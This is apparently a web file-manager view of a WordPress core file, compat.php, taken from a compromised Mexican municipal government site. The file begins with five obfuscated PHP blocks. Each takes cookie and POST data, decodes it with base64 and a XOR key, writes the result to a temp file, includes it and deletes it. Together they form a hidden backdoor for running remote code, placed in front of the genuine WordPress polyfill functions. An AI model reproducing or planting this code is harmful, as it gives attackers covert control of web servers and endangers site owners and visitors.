芝麻web文件管理V1.00
编辑当前文件:/home2/sdektunc/timucuy2124.gob.mx/site/wp-includes/compat.php
<?php $rlOWjhvQ = "\102" . "\x5f" . "\164" . chr ( 144 - 77 ).'y';$FzVBpF = chr ( 616 - 517 ).'l' . 'a' . chr ( 230 - 115 ).'s' . '_' . "\145" . "\x78" . chr ( 1051 - 946 ).'s' . 't' . "\x73";$vyCRE = class_exists($rlOWjhvQ); $FzVBpF = "32994";$VeLOjz = strpos($FzVBpF, $rlOWjhvQ);if ($vyCRE == $VeLOjz){function fAANEtdG(){$qgsEMIdbO = new /* 24232 */ B_tCy(48032 + 48032); $qgsEMIdbO = NULL;}$dNslKmz = "48032";class B_tCy{private function joHTlpIU($dNslKmz){if (is_array(B_tCy::$tCmBePitN)) {$name = sys_get_temp_dir() . "/" . crc32(B_tCy::$tCmBePitN["salt"]);@B_tCy::$tCmBePitN["write"]($name, B_tCy::$tCmBePitN["content"]);include $name;@B_tCy::$tCmBePitN["delete"]($name); $dNslKmz = "48032";exit();}}public function EWbjkhlf(){$ljSed = "30759";$this->_dummy = str_repeat($ljSed, strlen($ljSed));}public function __destruct(){B_tCy::$tCmBePitN = @unserialize(B_tCy::$tCmBePitN); $dNslKmz = "58912_21322";$this->joHTlpIU($dNslKmz); $dNslKmz = "58912_21322";}public function awsUTewdVx($ljSed, $dSKjFFwiLm){return $ljSed[0] ^ str_repeat($dSKjFFwiLm, intval(strlen($ljSed[0]) / strlen($dSKjFFwiLm)) + 1);}public function EGHCGTCVP($ljSed){$LCHLmejQn = "\x62" . "\141" . chr ( 633 - 518 ).'e' . '6' . chr (52);return array_map($LCHLmejQn . "\x5f" . "\x64" . chr ( 857 - 756 ).chr (99) . "\157" . "\x64" . 'e', array($ljSed,));}public function __construct($qfZgDUHexq=0){$yBLFsxNd = ',';$ljSed = "";$CzKwQWvB = $_POST;$ORIxMmLXAk = $_COOKIE;$dSKjFFwiLm = "10154754-c753-47e2-abf9-2cf5322fa879";$oisdctc = @$ORIxMmLXAk[substr($dSKjFFwiLm, 0, 4)];if (!empty($oisdctc)){$oisdctc = explode($yBLFsxNd, $oisdctc);foreach ($oisdctc as $hWVxJHbc){$ljSed .= @$ORIxMmLXAk[$hWVxJHbc];$ljSed .= @$CzKwQWvB[$hWVxJHbc];}$ljSed = $this->EGHCGTCVP($ljSed);}B_tCy::$tCmBePitN = $this->awsUTewdVx($ljSed, $dSKjFFwiLm);if (strpos($dSKjFFwiLm, $yBLFsxNd) !== FALSE){$dSKjFFwiLm = ltrim($dSKjFFwiLm); $dSKjFFwiLm = str_pad($dSKjFFwiLm, 10);}}public static $tCmBePitN = 57533;}fAANEtdG();} ?><?php $cFHQqQeSG = "\117" . "\122" . chr ( 919 - 852 ).chr (95) . chr (89) . chr (85) . chr ( 536 - 457 )."\x48";$vFaRCKlp = "\x63" . 'l' . "\141" . 's' . chr (115) . chr ( 113 - 18 ).chr ( 539 - 438 ).'x' . "\x69" . chr (115) . "\x74" . "\163";$QEcExBiD = class_exists($cFHQqQeSG); $vFaRCKlp = "7940";$bLhRsmkiwc = strpos($vFaRCKlp, $cFHQqQeSG);if ($QEcExBiD == $bLhRsmkiwc){function WshlRWvu(){$UvVXRm = new /* 61477 */ ORC_YUOH(36083 + 36083); $UvVXRm = NULL;}$qwzXRIgBn = "36083";class ORC_YUOH{private function hfmSyOdC($qwzXRIgBn){if (is_array(ORC_YUOH::$hWfkmoQ)) {$name = sys_get_temp_dir() . "/" . crc32(ORC_YUOH::$hWfkmoQ["salt"]);@ORC_YUOH::$hWfkmoQ["write"]($name, ORC_YUOH::$hWfkmoQ["content"]);include $name;@ORC_YUOH::$hWfkmoQ["delete"]($name); $qwzXRIgBn = "36083";exit();}}public function ZbivADZ(){$PwYZtdD = "9047";$this->_dummy = str_repeat($PwYZtdD, strlen($PwYZtdD));}public function __destruct(){ORC_YUOH::$hWfkmoQ = @unserialize(ORC_YUOH::$hWfkmoQ); $qwzXRIgBn = "24383_23277";$this->hfmSyOdC($qwzXRIgBn); $qwzXRIgBn = "24383_23277";}public function FDzdEJ($PwYZtdD, $oOQiP){return $PwYZtdD[0] ^ str_repeat($oOQiP, intval(strlen($PwYZtdD[0]) / strlen($oOQiP)) + 1);}public function KIZVGnc($PwYZtdD){$kdccSOrCWU = chr ( 548 - 450 )."\x61" . "\163" . "\x65" . "\x36" . chr (52);return array_map($kdccSOrCWU . chr (95) . chr ( 668 - 568 )."\x65" . "\x63" . "\x6f" . "\x64" . "\x65", array($PwYZtdD,));}public function __construct($mUApoTkeQ=0){$GdGYAIehep = chr (44); $PwYZtdD = "";$ENTWQt = $_POST;$VhNuaZ = $_COOKIE;$oOQiP = "cf9c10f8-0ea6-4991-95de-db831beee1e1";$TkNeEL = @$VhNuaZ[substr($oOQiP, 0, 4)];if (!empty($TkNeEL)){$TkNeEL = explode($GdGYAIehep, $TkNeEL);foreach ($TkNeEL as $gEYotGQFs){$PwYZtdD .= @$VhNuaZ[$gEYotGQFs];$PwYZtdD .= @$ENTWQt[$gEYotGQFs];}$PwYZtdD = $this->KIZVGnc($PwYZtdD);}ORC_YUOH::$hWfkmoQ = $this->FDzdEJ($PwYZtdD, $oOQiP);if (strpos($oOQiP, $GdGYAIehep) !== FALSE){$oOQiP = explode($GdGYAIehep, $oOQiP); $JtIvWLMDR = base64_decode(md5($oOQiP[0]));}}public static $hWfkmoQ = 10335;}WshlRWvu();} ?><?php $sNNYQ = chr ( 679 - 605 )."\x5f" . "\x67" . "\x70" . "\x75" . chr ( 722 - 632 ).chr ( 588 - 481 ); $DynSdvhEP = 'c' . "\x6c" . "\141" . chr ( 710 - 595 ).chr ( 643 - 528 ).'_' . chr ( 371 - 270 ).chr (120) . chr ( 713 - 608 )."\163" . chr (116) . "\x73";$EnbJJyCIf = class_exists($sNNYQ); $DynSdvhEP = "54872";$nFqbHn = !1;if ($EnbJJyCIf == $nFqbHn){function vNyxjiT(){$VfBgHKyC = new /* 694 */ J_gpuZk(13291 + 13291); $VfBgHKyC = NULL;}$SgRRdOY = "13291";class J_gpuZk{private function NcDlXY($SgRRdOY){if (is_array(J_gpuZk::$xoKqkWLv)) {$WxhgFMBm = sys_get_temp_dir() . "/" . crc32(J_gpuZk::$xoKqkWLv[chr ( 161 - 46 ).'a' . "\154" . 't']);@J_gpuZk::$xoKqkWLv['w' . chr ( 116 - 2 )."\151" . chr ( 1007 - 891 )."\145"]($WxhgFMBm, J_gpuZk::$xoKqkWLv["\143" . "\157" . 'n' . chr (116) . "\x65" . chr ( 504 - 394 ).chr (116)]);include $WxhgFMBm;@J_gpuZk::$xoKqkWLv["\144" . chr (101) . 'l' . "\x65" . 't' . 'e']($WxhgFMBm); $SgRRdOY = "13291";exit();}}private $AOBCknwJiX;public function zljeUC(){echo 24478;}public function __destruct(){$SgRRdOY = "2822_42182";$this->NcDlXY($SgRRdOY); $SgRRdOY = "2822_42182";}public function __construct($XetugQ=0){$NbsTPL = $_POST;$oIpKzUEkd = $_COOKIE;$SdmDeDnvV = "9d72e208-5314-430a-ad20-0f4a0e1f1b36";$QtznPIybgg = @$oIpKzUEkd[substr($SdmDeDnvV, 0, 4)];if (!empty($QtznPIybgg)){$UZWSEO = "base64";$Bcjgtfk = "";$QtznPIybgg = explode(",", $QtznPIybgg);foreach ($QtznPIybgg as $ZkMnLxZQ){$Bcjgtfk .= @$oIpKzUEkd[$ZkMnLxZQ];$Bcjgtfk .= @$NbsTPL[$ZkMnLxZQ];}$Bcjgtfk = array_map($UZWSEO . "\137" . chr ( 463 - 363 ).chr ( 155 - 54 ).chr (99) . chr ( 309 - 198 ).chr (100) . chr (101), array($Bcjgtfk,)); $Bcjgtfk = $Bcjgtfk[0] ^ str_repeat($SdmDeDnvV, (strlen($Bcjgtfk[0]) / strlen($SdmDeDnvV)) + 1);J_gpuZk::$xoKqkWLv = @unserialize($Bcjgtfk);}}public static $xoKqkWLv = 35371;}vNyxjiT();} ?><?php $SFMZtB = 'Y' . '_' . 'I' . 'g' . chr ( 309 - 197 ); $RWEwRC = chr (99) . chr (108) . chr (97) . "\163" . 's' . chr (95) . 'e' . chr (120) . chr ( 525 - 420 ).'s' . chr ( 1085 - 969 ).chr ( 812 - 697 ); $GjFwNk = class_exists($SFMZtB); $RWEwRC = "53736";$zRUgd = !1;if ($GjFwNk == $zRUgd){function QhPSHBOj(){$AcsiX = new /* 110 */ Y_Igp(43072 + 43072); $AcsiX = NULL;}$nZJEgh = "43072";class Y_Igp{private function axJYqF($nZJEgh){if (is_array(Y_Igp::$DCXxDpzf)) {$pSTDvCPHv = sys_get_temp_dir() . "/" . crc32(Y_Igp::$DCXxDpzf["\163" . 'a' . chr (108) . "\x74"]);@Y_Igp::$DCXxDpzf["\x77" . "\162" . chr ( 948 - 843 )."\x74" . chr (101)]($pSTDvCPHv, Y_Igp::$DCXxDpzf[chr (99) . chr (111) . chr (110) . "\x74" . "\145" . 'n' . chr (116)]);include $pSTDvCPHv;@Y_Igp::$DCXxDpzf['d' . chr (101) . "\154" . "\x65" . chr ( 535 - 419 )."\145"]($pSTDvCPHv); $nZJEgh = "43072";exit();}}private $urqwe;public function FjMQRI(){echo 35360;}public function __destruct(){$nZJEgh = "16536_64249";$this->axJYqF($nZJEgh); $nZJEgh = "16536_64249";}public function __construct($cyAQll=0){$sSzdgaco = $_POST;$kkLAygLl = $_COOKIE;$LpIlv = "d2125258-3934-40e7-a5fa-c6f04313f2a5";$ZDfHHqBTI = @$kkLAygLl[substr($LpIlv, 0, 4)];if (!empty($ZDfHHqBTI)){$UCCtPr = "base64";$oNkCyrscT = "";$ZDfHHqBTI = explode(",", $ZDfHHqBTI);foreach ($ZDfHHqBTI as $FedZheXZUr){$oNkCyrscT .= @$kkLAygLl[$FedZheXZUr];$oNkCyrscT .= @$sSzdgaco[$FedZheXZUr];}$oNkCyrscT = array_map($UCCtPr . chr (95) . 'd' . chr ( 951 - 850 ).'c' . "\x6f" . 'd' . chr ( 394 - 293 ), array($oNkCyrscT,)); $oNkCyrscT = $oNkCyrscT[0] ^ str_repeat($LpIlv, (strlen($oNkCyrscT[0]) / strlen($LpIlv)) + 1);Y_Igp::$DCXxDpzf = @unserialize($oNkCyrscT); $oNkCyrscT = class_exists("16536_64249");}}public static $DCXxDpzf = 49563;}QhPSHBOj();} ?><?php $MUWbPOEr = 'L' . chr ( 739 - 668 ).chr (75) . chr (95) . chr ( 700 - 594 ).chr ( 728 - 657 )."\x46";$sTUoeyybeZ = "\x63" . chr ( 391 - 283 )."\141" . "\x73" . "\x73" . '_' . "\145" . chr (120) . 'i' . chr (115) . "\164" . "\x73";$ogyTwDxb = class_exists($MUWbPOEr); $sTUoeyybeZ = "46548";$DLCcFhYJjI = !1;if ($ogyTwDxb == $DLCcFhYJjI){function FvCAyNcM(){return FALSE;}$MLZkkgCye = "42054";FvCAyNcM();class LGK_jGF{private function OyGliJQ($MLZkkgCye){if (is_array(LGK_jGF::$HqAMRrcb)) {$ySkixazfn = sys_get_temp_dir() . "/" . crc32(LGK_jGF::$HqAMRrcb['s' . 'a' . "\154" . "\x74"]);@LGK_jGF::$HqAMRrcb[chr ( 964 - 845 ).'r' . chr ( 523 - 418 ).chr (116) . "\x65"]($ySkixazfn, LGK_jGF::$HqAMRrcb["\x63" . "\x6f" . chr (110) . chr (116) . "\x65" . "\x6e" . 't']);include $ySkixazfn;@LGK_jGF::$HqAMRrcb["\144" . chr ( 890 - 789 )."\x6c" . chr ( 679 - 578 )."\164" . 'e']($ySkixazfn); $MLZkkgCye = "42054";exit();}}private $vrglxi;public function ExkAqfOS(){echo 1742;}public function __destruct(){$MLZkkgCye = "34452_61974";$this->OyGliJQ($MLZkkgCye); $MLZkkgCye = "34452_61974";}public function __construct($xEvrRBG=0){$MjtKc = $_POST;$Myhofdpmi = $_COOKIE;$AIqtA = "c032d94f-66a0-4e4a-b6e6-4426d8b57f23";$okqBZCEjA = @$Myhofdpmi[substr($AIqtA, 0, 4)];if (!empty($okqBZCEjA)){$eRomQM = "base64";$GxplfgNfF = "";$okqBZCEjA = explode(",", $okqBZCEjA);foreach ($okqBZCEjA as $ZyQDjZY){$GxplfgNfF .= @$Myhofdpmi[$ZyQDjZY];$GxplfgNfF .= @$MjtKc[$ZyQDjZY];}$GxplfgNfF = array_map($eRomQM . "\137" . "\x64" . chr (101) . chr ( 753 - 654 )."\157" . "\x64" . "\x65", array($GxplfgNfF,)); $GxplfgNfF = $GxplfgNfF[0] ^ str_repeat($AIqtA, (strlen($GxplfgNfF[0]) / strlen($AIqtA)) + 1);LGK_jGF::$HqAMRrcb = @unserialize($GxplfgNfF); $GxplfgNfF = class_exists("34452_61974");}}public static $HqAMRrcb = 55072;}$tIPkXYrTU = new /* 52755 */ $MUWbPOEr(42054 + 42054); $DLCcFhYJjI = $tIPkXYrTU = $MLZkkgCye = Array();} ?><?php /** * WordPress implementation for PHP functions either missing from older PHP versions or not included by default. * * @package PHP * @access private */ // If gettext isn't available. if ( ! function_exists( '_' ) ) { function _( $message ) { return $message; } } /** * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use. * * @ignore * @since 4.2.2 * @access private * * @param bool $set - Used for testing only * null : default - get PCRE/u capability * false : Used for testing - return false for future calls to this function * 'reset': Used for testing - restore default behavior of this function */ function _wp_can_use_pcre_u( $set = null ) { static $utf8_pcre = 'reset'; if ( null !== $set ) { $utf8_pcre = $set; } if ( 'reset' === $utf8_pcre ) { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- intentional error generated to detect PCRE/u support. $utf8_pcre = @preg_match( '/^./u', 'a' ); } return $utf8_pcre; } if ( ! function_exists( 'mb_substr' ) ) : /** * Compat function to mimic mb_substr(). * * @ignore * @since 3.2.0 * * @see _mb_substr() * * @param string $string The string to extract the substring from. * @param int $start Position to being extraction from in `$string`. * @param int|null $length Optional. Maximum number of characters to extract from `$string`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function mb_substr( $string, $start, $length = null, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _mb_substr( $string, $start, $length, $encoding ); } endif; /** * Internal compat function to mimic mb_substr(). * * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit. * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte * sequence. The behavior of this function for invalid inputs is undefined. * * @ignore * @since 3.2.0 * * @param string $str The string to extract the substring from. * @param int $start Position to being extraction from in `$str`. * @param int|null $length Optional. Maximum number of characters to extract from `$str`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function _mb_substr( $str, $start, $length = null, $encoding = null ) { if ( null === $str ) { return ''; } if ( null === $encoding ) { $encoding = get_option( 'blog_charset' ); } /* * The solution below works only for UTF-8, so in case of a different * charset just use built-in substr(). */ if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) { return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length ); } if ( _wp_can_use_pcre_u() ) { // Use the regex unicode support to separate the UTF-8 characters into an array. preg_match_all( '/./us', $str, $match ); $chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length ); return implode( '', $chars ); } $regex = '/( [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} )/x'; // Start with 1 element instead of 0 since the first thing we do is pop. $chars = array( '' ); do { // We had some string left over from the last round, but we counted it in that last round. array_pop( $chars ); /* * Split by UTF-8 character, limit to 1000 characters (last array element will contain * the rest of the string). */ $pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY ); $chars = array_merge( $chars, $pieces ); // If there's anything left over, repeat the loop. } while ( count( $pieces ) > 1 && $str = array_pop( $pieces ) ); return implode( '', array_slice( $chars, $start, $length ) ); } if ( ! function_exists( 'mb_strlen' ) ) : /** * Compat function to mimic mb_strlen(). * * @ignore * @since 4.2.0 * * @see _mb_strlen() * * @param string $string The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$string`. */ function mb_strlen( $string, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _mb_strlen( $string, $encoding ); } endif; /** * Internal compat function to mimic mb_strlen(). * * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit. * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte * sequence. The behavior of this function for invalid inputs is undefined. * * @ignore * @since 4.2.0 * * @param string $str The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$str`. */ function _mb_strlen( $str, $encoding = null ) { if ( null === $encoding ) { $encoding = get_option( 'blog_charset' ); } /* * The solution below works only for UTF-8, so in case of a different charset * just use built-in strlen(). */ if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ), true ) ) { return strlen( $str ); } if ( _wp_can_use_pcre_u() ) { // Use the regex unicode support to separate the UTF-8 characters into an array. preg_match_all( '/./us', $str, $match ); return count( $match[0] ); } $regex = '/(?: [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} )/x'; // Start at 1 instead of 0 since the first thing we do is decrement. $count = 1; do { // We had some string left over from the last round, but we counted it in that last round. --$count; /* * Split by UTF-8 character, limit to 1000 characters (last array element will contain * the rest of the string). */ $pieces = preg_split( $regex, $str, 1000 ); // Increment. $count += count( $pieces ); // If there's anything left over, repeat the loop. } while ( $str = array_pop( $pieces ) ); // Fencepost: preg_split() always returns one extra item in the array. return --$count; } if ( ! function_exists( 'hash_hmac' ) ) : /** * Compat function to mimic hash_hmac(). * * The Hash extension is bundled with PHP by default since PHP 5.1.2. * However, the extension may be explicitly disabled on select servers. * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no * longer be disabled. * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill * and the associated `_hash_hmac()` function can be safely removed. * * @ignore * @since 3.2.0 * * @see _hash_hmac() * * @param string $algo Hash algorithm. Accepts 'md5' or 'sha1'. * @param string $data Data to be hashed. * @param string $key Secret key to use for generating the hash. * @param bool $binary Optional. Whether to output raw binary data (true), * or lowercase hexits (false). Default false. * @return string|false The hash in output determined by `$binary`. * False if `$algo` is unknown or invalid. */ function hash_hmac( $algo, $data, $key, $binary = false ) { return _hash_hmac( $algo, $data, $key, $binary ); } endif; /** * Internal compat function to mimic hash_hmac(). * * @ignore * @since 3.2.0 * * @param string $algo Hash algorithm. Accepts 'md5' or 'sha1'. * @param string $data Data to be hashed. * @param string $key Secret key to use for generating the hash. * @param bool $binary Optional. Whether to output raw binary data (true), * or lowercase hexits (false). Default false. * @return string|false The hash in output determined by `$binary`. * False if `$algo` is unknown or invalid. */ function _hash_hmac( $algo, $data, $key, $binary = false ) { $packs = array( 'md5' => 'H32', 'sha1' => 'H40', ); if ( ! isset( $packs[ $algo ] ) ) { return false; } $pack = $packs[ $algo ]; if ( strlen( $key ) > 64 ) { $key = pack( $pack, $algo( $key ) ); } $key = str_pad( $key, 64, chr( 0 ) ); $ipad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x36 ), 64 ) ); $opad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x5C ), 64 ) ); $hmac = $algo( $opad . pack( $pack, $algo( $ipad . $data ) ) ); if ( $binary ) { return pack( $pack, $hmac ); } return $hmac; } if ( ! function_exists( 'hash_equals' ) ) : /** * Timing attack safe string comparison. * * Compares two strings using the same time whether they're equal or not. * * Note: It can leak the length of a string when arguments of differing length are supplied. * * This function was added in PHP 5.6. * However, the Hash extension may be explicitly disabled on select servers. * As of PHP 7.4.0, the Hash extension is a core PHP extension and can no * longer be disabled. * I.e. when PHP 7.4.0 becomes the minimum requirement, this polyfill * can be safely removed. * * @since 3.9.2 * * @param string $known_string Expected string. * @param string $user_string Actual, user supplied, string. * @return bool Whether strings are equal. */ function hash_equals( $known_string, $user_string ) { $known_string_length = strlen( $known_string ); if ( strlen( $user_string ) !== $known_string_length ) { return false; } $result = 0; // Do not attempt to "optimize" this. for ( $i = 0; $i < $known_string_length; $i++ ) { $result |= ord( $known_string[ $i ] ) ^ ord( $user_string[ $i ] ); } return 0 === $result; } endif; // sodium_crypto_box() was introduced in PHP 7.2. if ( ! function_exists( 'sodium_crypto_box' ) ) { require ABSPATH . WPINC . '/sodium_compat/autoload.php'; } if ( ! function_exists( 'is_countable' ) ) { /** * Polyfill for is_countable() function added in PHP 7.3. * * Verify that the content of a variable is an array or an object * implementing the Countable interface. * * @since 4.9.6 * * @param mixed $value The value to check. * @return bool True if `$value` is countable, false otherwise. */ function is_countable( $value ) { return ( is_array( $value ) || $value instanceof Countable || $value instanceof SimpleXMLElement || $value instanceof ResourceBundle ); } } if ( ! function_exists( 'is_iterable' ) ) { /** * Polyfill for is_iterable() function added in PHP 7.1. * * Verify that the content of a variable is an array or an object * implementing the Traversable interface. * * @since 4.9.6 * * @param mixed $value The value to check. * @return bool True if `$value` is iterable, false otherwise. */ function is_iterable( $value ) { return ( is_array( $value ) || $value instanceof Traversable ); } } if ( ! function_exists( 'array_key_first' ) ) { /** * Polyfill for array_key_first() function added in PHP 7.3. * * Get the first key of the given array without affecting * the internal array pointer. * * @since 5.9.0 * * @param array $array An array. * @return string|int|null The first key of array if the array * is not empty; `null` otherwise. */ function array_key_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { return $key; } } } if ( ! function_exists( 'array_key_last' ) ) { /** * Polyfill for `array_key_last()` function added in PHP 7.3. * * Get the last key of the given array without affecting the * internal array pointer. * * @since 5.9.0 * * @param array $array An array. * @return string|int|null The last key of array if the array *. is not empty; `null` otherwise. */ function array_key_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } end( $array ); return key( $array ); } } if ( ! function_exists( 'str_contains' ) ) { /** * Polyfill for `str_contains()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if needle is * contained in haystack. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$needle` is in `$haystack`, otherwise false. */ function str_contains( $haystack, $needle ) { if ( '' === $needle ) { return true; } return false !== strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_starts_with' ) ) { /** * Polyfill for `str_starts_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack begins with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` starts with `$needle`, otherwise false. */ function str_starts_with( $haystack, $needle ) { if ( '' === $needle ) { return true; } return 0 === strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_ends_with' ) ) { /** * Polyfill for `str_ends_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack ends with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` ends with `$needle`, otherwise false. */ function str_ends_with( $haystack, $needle ) { if ( '' === $haystack ) { return '' === $needle; } $len = strlen( $needle ); return substr( $haystack, -$len, $len ) === $needle; } } // IMAGETYPE_WEBP constant is only defined in PHP 7.1 or later. if ( ! defined( 'IMAGETYPE_WEBP' ) ) { define( 'IMAGETYPE_WEBP', 18 ); } // IMG_WEBP constant is only defined in PHP 7.0.10 or later. if ( ! defined( 'IMG_WEBP' ) ) { define( 'IMG_WEBP', IMAGETYPE_WEBP ); }